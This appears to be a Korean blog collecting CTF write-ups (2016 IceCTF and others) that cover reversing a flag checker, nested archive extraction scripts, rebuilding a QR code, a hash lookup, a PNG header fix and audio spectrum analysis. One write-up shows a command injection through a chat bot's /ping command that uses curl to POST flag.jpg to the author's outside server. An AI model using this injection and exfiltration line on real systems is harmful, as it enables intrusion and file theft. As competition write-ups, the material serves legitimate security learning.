문제를 먼저 확인하고 x64인걸 확인 후, IDA 64로 까봤습니다.

파일을 확인해보면 다음과 같이 main 속에 있는 check 함수를 발견할 수 있습니다.

check 함수에서 처음에 if 문 안에 아무것도 없나 싶어서 넘어가려 했는데...

나중에서야 e() 함수를 발견하였습니다.


위에 저기 쳐져 있는 것 보이시죠.


옆에 있는 함수들이 보였는데, 여기에서 사용하였던 것이었습니다.

그러면 이제 저 함수로 차례차례 들어가 보면 다음과 같이 쭈욱 나옵니다.


마지막 함수는 a 함수이며, 각 함수에서는 a1이라는 char* 변수에 값을 비교하는 것을 볼 수 있습니다.

저 위에서 변수에 값을 비교하는 것을 보고, 각 순서대로 들어간 값이 무엇인지 알기위해 코드를 작성해보았습니다.


a1 = [0] * 19

a1[4] = 123 
a1[12] = 51 
a1[8] = 121 
a1[13] = 114
a1[3] = 71 
a1[11] = 118 
a1[5] = 51
a1[14] = 53 
a1[16] = 110
a1[10] = 51 
a1[18] = 125 
a1[6] = 97
a1[15] = 105 
a1[9] = 114 
a1[1] = 76
a1[7] = 53 
a1[17] = 103 
a1[2] = 65
#*a1 = 70
a1[0] = 70


string = ""

for a in a1:
    string += chr(a)

print("[+] String : %s" % string)

#[+] String : FLAG{3a5yr3v3r5ing}


file로 확인해보니 Zip파일인 걸 확인하고 압축을 풀어보려 했더니 아래와 같이 암호가 걸려 있었습니다.

혹시나 해서 이것저것 입력해봤지만, 잠깐의 게싱으로는 풀 수 없었습니다.

그러다가 혹시 암호화가 안 돼 있는데, 암호화 됐다고 하는 페이크인가 생각해봤는데

이것도 아니었습니다.


마지막으로 혹시나 해서 파일 이름으로 비밀번호를 입력해봤더니 풀렸습니다.

세상에...

코드 코드.....

import tarfile
import zipfile
import os

def decompress_tar(filename, path):
    with tarfile.TarFile(filename) as tar_decompress:
        tar_decompress.extractall(path)


def decompress_zip(filename, password, path):
    print("FileName : ", filename)
    print("Password : ", password)

    with zipfile.ZipFile(filename) as zf:
        compressed_name = zf.namelist()[0]
        zf.extractall(path=path, pwd=password)

    return compressed_name


def file_rename(filename):
    reName = filename + ".zip"
    os.rename(filename, reName)

    return reName

Done = False


FileName        = "RWtm7A5f" # it is also password

while not Done:
    Password        = FileName.encode()

    #FileName        = file_rename(FileName)
    FileName        = decompress_zip(FileName, Password, './')

    print("FileName : %s" % FileName)

decompress_tar(FileName, './flag')


위와 같이 문제 파일을 풀어보면, flag 파일이 하나 튀어나오는데, 그 파일은 TAR로 되어 있어서 TAR로 풀어보았습니다.


그런데....

위와 같은 폴더로 가득한 압축파일인 것을 확인할 수 있었습니다.

여기서 답이 없다고 생각하고 다른 문제를 보고 있었는데, 팀원의 도움으로 풀 수 있었습니다.

125 폴더 이후에는 아무런 파일이 없고, 그 이전의 파일에는 숫자로 이루어진 데이터가 없는 파일들이 있었습니다.

위와 같이 하나씩 나타나 있는데, 저 폴더에 표시된 예시를 들어보면 chr(101) 을 한 값을 9번째에 넣어라, 라는 의미가 될 수 있습니다.

때문에 저기 표시된 폴더의 값을 chr로 바꿔주고 그걸 원하는 번째의 string으로 만들어주면 FLAG가 나타나게 됩니다.


FLAG{m4tr3shk4_a5c11}


무슨 파일인고 보니, TAR이기도 하고, Zip이기도 하고, bzip2, gzip 등... 정말 많습니다.

아무래도 저렇게 해서 txt파일을 매우 압축한 것 같습니다.



위와 같이 손으로 하는 건 문제가 있습니다....

이건 프로그래밍을 해야 할 문제 같았습니다.


문제는 POSIX tar, bzip2, XZ, gzip, Zip 으로 총 다섯 가지 방식으로 압축되어 있습니다.

Python의 모듈이 있는 것들만 있군요...


코드를 작성하여 문제 파일을 쭉 풀어보면 총 723회 압축되어 있었음을 알 수 있었습니다...(숫자를 잘못 세어서 720회 내외일 수 있습니다.)


#!/bin/python3
import bz2
import gzip
import tarfile
import zipfile
import lzma
import magic
import os


def decompress_bz2(filename):
    with open(filename, "rb") as file_rb:
        tmpData = file_rb.read()

    with open('flag.txt', 'wb') as file_wb:
        file_wb.write(bz2.decompress(tmpData))


def decompress_gzip(filename):
    with gzip.open(filename, "rb") as gzip_rb:
        tmpData = gzip_rb.read()

    with open('flag.txt', 'wb') as file_wb:
        file_wb.write(tmpData)


def decompress_zip(filename):
    with zipfile.ZipFile(filename) as zip_decompress:
        zip_decompress.extractall()


def decompress_tar(filename):
    with tarfile.TarFile(filename) as tar_decompress:
        tar_decompress.extractall()


def decompress_xz(filename):
    with lzma.open(filename) as xz_decompress:
        tmpData = xz_decompress.read()

    with open('flag.txt', 'wb') as file_wb:
        file_wb.write(tmpData)


def find_compress_type(filename, cnt):
    ret = magic.from_file(filename)

    if "POSIX tar" in ret:
        return "tar"
    elif "bzip2" in ret:
        return "bz"
    elif "XZ compressed" in ret:
        return "xz"
    elif "gzip" in ret:
        return "gz"
    elif "Zip archive" in ret:
        return "zip"
    else:
        print("[-] ret : ", ret)
        return None
    

def file_rename(filename, compress_type, cnt):
    tmpFileName = "flag_%03d" % cnt

    os.rename(filename, tmpFileName + "." + compress_type)

    return tmpFileName + "." + compress_type


def decompress(filename, compress_type):
    if compress_type == "tar":
        decompress_tar(filename)
    elif compress_type == "bz":
        decompress_bz2(filename)
    elif compress_type == "xz":
        decompress_xz(filename)
    elif compress_type == "gz":
        decompress_gzip(filename)
    elif compress_type == "zip":
        decompress_zip(filename)
    else:
        print("[-] Error ")
        exit()


Done = False
cnt  = 0

while not Done:
    cnt            += 1
    FileName        = "flag.txt"
    compress_type   = find_compress_type(FileName, cnt)
    print("[=] Compress Type : %s" % compress_type)

    if compress_type == None:
        print("[+] None Done !")
        Done        = True
        break

    FileName        = file_rename(FileName, compress_type, cnt)
    print("[=] Rename Name   : %s" % FileName)

    decompress(FileName, compress_type)


압축을 쭉 풀어 txt파일을 보면 플래그가 튀어 나옵니다.


FLAG{matri0sha256}





문제를 풀기 전에 Facebook 짝퉁 사이트가 아닌가 하는 의심이 들었습니다.

그런데 러시아 판 Facebook이라고 해서 일단 정상적인 사이트로 판단하고 문제를 풀기 시작하였습니다.


/buy 4를 하게 되면 Flag를 알 수 있는 구조인 걸 확인하고 어떻게 하면 100보다 많은 balance를 가질 수 있을지 고민하다가, 레이스 컨디션을 시도해보았습니다. 아니나 다를까 /sell이 두 번 되고 balance가 200이 되도록 할 수 있었습니다.


물론 봇에 두 번 명령을 보내기 위해서는 다음과 같이 페이지를 두 개를 켜서 수행했습니다.

(복붙을 하면 명령어를 잘 먹지 않더군요....)



문제를 들어가기 전에 Login 하는 거에 굉장히 조심스러웠습니다.

vk.com이 제대로된 사이트인지 좀 더 검증하고 문제를 풀이하였습니다.

(물론 정상적인 러시아 버전 페이스북인 걸 알고 구글 계정을 연동하였습니다.)



메신저로 들어가 commands를 입력해서 여러 시도를 해보는 도중 /ping 이 있길래, 혹시 커맨드 인젝션이 되는지 테스트해보았습니다.

현재 CTF가 끝나고 명령이 되진 않지만, 위와 같이 했을 때 되는 것을 확인하였습니다.

처음에는 ls를 해보고자 했는데 띄어쓰기가 되는 값을 GET 뒤에 붙여서 전송되지는 않아, README.txt밖에 안 보였습니다.


그래서 find 명령어로 혹시 flag라는 녀석이 있는지 찾아보았습니다.

위와 같이 테스트해본 결과 여러 결과가 나왔는데, curl명령어로 GET으로 보내는 데에는 한계가 있어, POST 명령어로 전송해보았습니다.

flag.jpg위치는 바로 아래였던 것이 행운이었습니다.


/ping - ping 1.1.1.1;curl -X POST -F file=@flag.jpg http://kkamikoon.com:7777 


위의 명령을 받기 위해 아래와 같이 받았습니다.

근데 값을 받아보니 HTTP Header들도 좀 있어서 HxD로 제거해주고 온전한 이미지 파일로 받았습니다.

열어보니 아래와 같이 열려 플래그를 인증할 수 있었습니다.


[그림 1] 문제


Matrix에서는 문제에서 딱히 힌트가 없어보였습니다.

그런데 문제에서 visualize라는 단어에서 한 가지 힌트를 얻을 수 있었습니다.

KUCIS수업을 들으면서 전북대 정보보호 동아리 사람들과 이야기를 하면서 보이게 하도록 해보는 게 어떨까 해서 matrix.txt의 헥사 값을 이진수로 보도록 하였습니다.

[그림 2] matrix.txt 파일


이 파일은 matrix.txt에서 쓰여진 헥스값입니다. 이 값을 이진수로 바꿔보면 다음 [그림 3]과 같습니다.

[그림 3] 이진수로 바꾼 matrix.txt


이 값을 다시 흑백의 네모로 구분해보면, QR코드와 같은 모습을 볼 수 있습니다.

[그림 4]는 SecuMaster 회장의 노가다를 통해 탄생한 QR코드입니다.


[그림 4] 노가다를 통한 QR코드


하지만 [그림 4]와 같은 방법으로 QR코드로 만들어보았지만, 제대로 실행이 되지 않았습니다.

이 이유는 QR코드의 세 개의 큰 정사각형을 보면 살짝 튀어나온 부분이 있는 것을 볼 수 있습니다.


이는 SecuMaster 부회장이 발견한 힌트이며, QR코드에는 중복되는 코드가 있다는 것을 발견하였습니다.

중복된 부분은 [그림 5]와 같습니다.

[그림 5] 중복된 코드 부분


이를 삭제하고, python 코드를 통해 이미지를 만들게 되면, 다음과 같은 소스를 통해 QR코드를 작성할 수 있습니다.

from PIL import Image, ImageDraw
key ="""0000000000000000000000000000000 0111111101110001111111011111110 0100000101001000000000010000010 0101110101000001010000010111010 0101110101101000010010010111010 0101110101001010100000010111010 0100000100100001001100010000010 0111111101010101010101011111110 0000000001011000001011000000000 0010101101101111101110110111110 0011100001111110111100010011110 0111001101001011010000111010110 0101010000101100000011100010110 0001001110100001010101010010000 0100011001100100001101000101000 0101111111001011111110101110110 0010011011011001010110110101010 0001011101000011110101100111010 0010101001100010001100000001010 0010101100101001000000100000110 0101100000101010110011001011010 0111011101010011111101111111100 0000000001000000001011000110110 0111111100000001101101010101000 0100000101100101011111000111010 0101110100111011001001111111010 0101110101011110101011010101100 0101110100010000000101110100000 0100000101100010011001100101100 0111111100000010101001001010000 0000000000000000000000000000000"""
key = key.split(" ")
Image = Image.new("RGB", (32, 32), "white")
for a in range(0,31):
	for b in range(0,31):
             if(key[a][b]=="1"):
                     Image.putpixel((a,b),1)
             else:
                     pass
 
#Image.show()
Image.save("save.png")


PIL이라는 모듈을 따로 설치해야 하는 번거로움이 있지만, 위와 같은 소스를 통해 QR코드를 얻을 수 있습니다.

그리고 그 QR코드를 QR코드 리더기로 보면 [그림 6]과 같이 됩니다.


[그림 6] 문제 해결






[그림 1] 문제


문제를 요약하면 빨간 글씨로 된 해쉬 값을 통해 웹사이트를 들어가 Flag를 가져와 달라고 하는 것입니다.

admin, 그리고 빨간 글씨로 된 패스워드의 해쉬. 이 두 가지가 이 문제를 푸는 열쇠일 것 같습니다.

먼저 Hash를 풀어보기 위해 좋은 사이트로 들어갑시다.


해쉬 체크 및 인코드, 디코드 사이트 URL : https://md5hashing.net/

해쉬 : c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a


해쉬 타입을 살펴보면 다음과 같이 나옵니다.

[그림 2] Hash Type Check


메뉴에서 Hash Type Check를 살펴보면 [그림 3]처럼 나오게 됩니다.

[그림 3] Hash Type Check Result


맨 위에서부터 확률이 높은 순입니다.

이 해쉬는 아마 SHA256(64Byte)일 것 같습니다.

그렇다면 이제 SHA256일 것이라는 추측으로 문제를 풀어보도록 합시다.


SHA256으로 디코딩 해보면, 다음과 같이 Vo83* 이라는 값이 나옵니다.

첫 번째로 했던 추측이 맞아 떨어진 걸까요?

[그림 4] 해쉬값을 SHA256으로 디코딩한 결과 값


이제 문제의 사이트로 들어가서 ID는 admin, PW는 Vo83*로 입력하여 인증을 해봅시다.

[그림 5] 인증 하기

[그림 6] 문제 해결


[그림 1] 문제


문제를 요약하면 corrupt.png라는 파일이 전송 도중 잘못되었다고 합니다. 이것을 고쳐주실 수 있는지에 대한 답을 요구하고 있습니다.

그렇다면 우리는 여기서 corrupt.png라는 파일이 어떻게 잘못되었는지 알아볼 필요가 있습니다.

혹시 IDAT 부분이 잘못되었는지, 헤더가 잘못되었는지 말이지요.


먼저 파일을 열어보려고 하는데 png 파일임에도 불구하고 이미지로 열리지 않는 것을 볼 수 있습니다.

이미지가 열리지 않는다는 것은, 윈도우 상에서 File Signature와 확장자가 맞지 않을 때 발생합니다.

파일 시그니처 참고 URL : http://forensic-proof.com/archives/300

먼저 헤더 부분을 비교해봅시다.


[그림 2] corrupt.png 헤더 부분


corrupt.png의 헤더 부분을 보면 16Byte 코드로 90 50 4E 47 0E 1A 0A 1B을 보면 마치 PNG파일 같이 보입니다.

원래 PNG 시그니처는 이렇습니다. ==> 89 50 4E 47 0D 0A 1A 0A

비교를 해보니 확실히 다르다는 걸 알 수 있습니다.


불량 : 90 50 4E 47 0E 1A 0A 1B

원래 : 89 50 4E 47 0D 0A 1A 0A


이제 헤더 부분을 바꿔주면 [그림 3]과 같이 나오게 됩니다.


[그림 3] 문제 해결


'CTF > 2016_IceCTF' 카테고리의 다른 글

2016_IceCTF_Stage03_Matrix(85pt)  (0) 2016.09.07
2016_IceCTF_Stage02_Kitty(70pt)  (0) 2016.09.04
2016_IceCTF_Stage03_Audio(50pt)  (0) 2016.09.04
2016_IceCTF_Stage02_Miners(65pt)  (0) 2016.09.04
2016_IceCTF_Stage02_Demo(55pt)  (0) 2016.09.01
2016_IceCTF_Stage02_RSA(60pt)  (0) 2016.09.01
2016_IceCTF_Stage02_RSA?(50pt)  (0) 2016.08.26
2016_IceCTF_Stage02_Flag Storage(50pt)  (0) 2016.08.26

[그림 1] 문제


this audio signal을 입력하면 사운드 파일을 다운로드 받을 수 있습니다.

사운드 파일에는 Flag가 숨겨져 있다고 합니다.


먼저 재생을 해보면 딱히 음성으로 들리는 것 같지 않은 소리가 들릴 뿐 아무것도 일어나지 않았습니다.

또한 파일을 HxD로 열어본 결과 flag로 보이는 그 어떤 것도 보이지 않았습니다.

문제는 Forensics이기 때문에 스테가노 그래피는 아니라고 판단됩니다.


이 문제는 SecuMaster 회원 중 한 명의 도움을 받아 풀 수 있었습니다.

도움을 받은 회원의 블로그 URL : http://mer-bleu.tistory.com/

[그림 2] 문제 해결


문제의 답은 사운드 파일의 스팩트럼에 들어있었습니다.

음향 분석 및 에디터 툴 중 하나를 사용하여 TFFT 혹은 FFT를 확인해 보면 [그림 2]와 같은 Flag를 얻을 수 있습니다.

+ Recent posts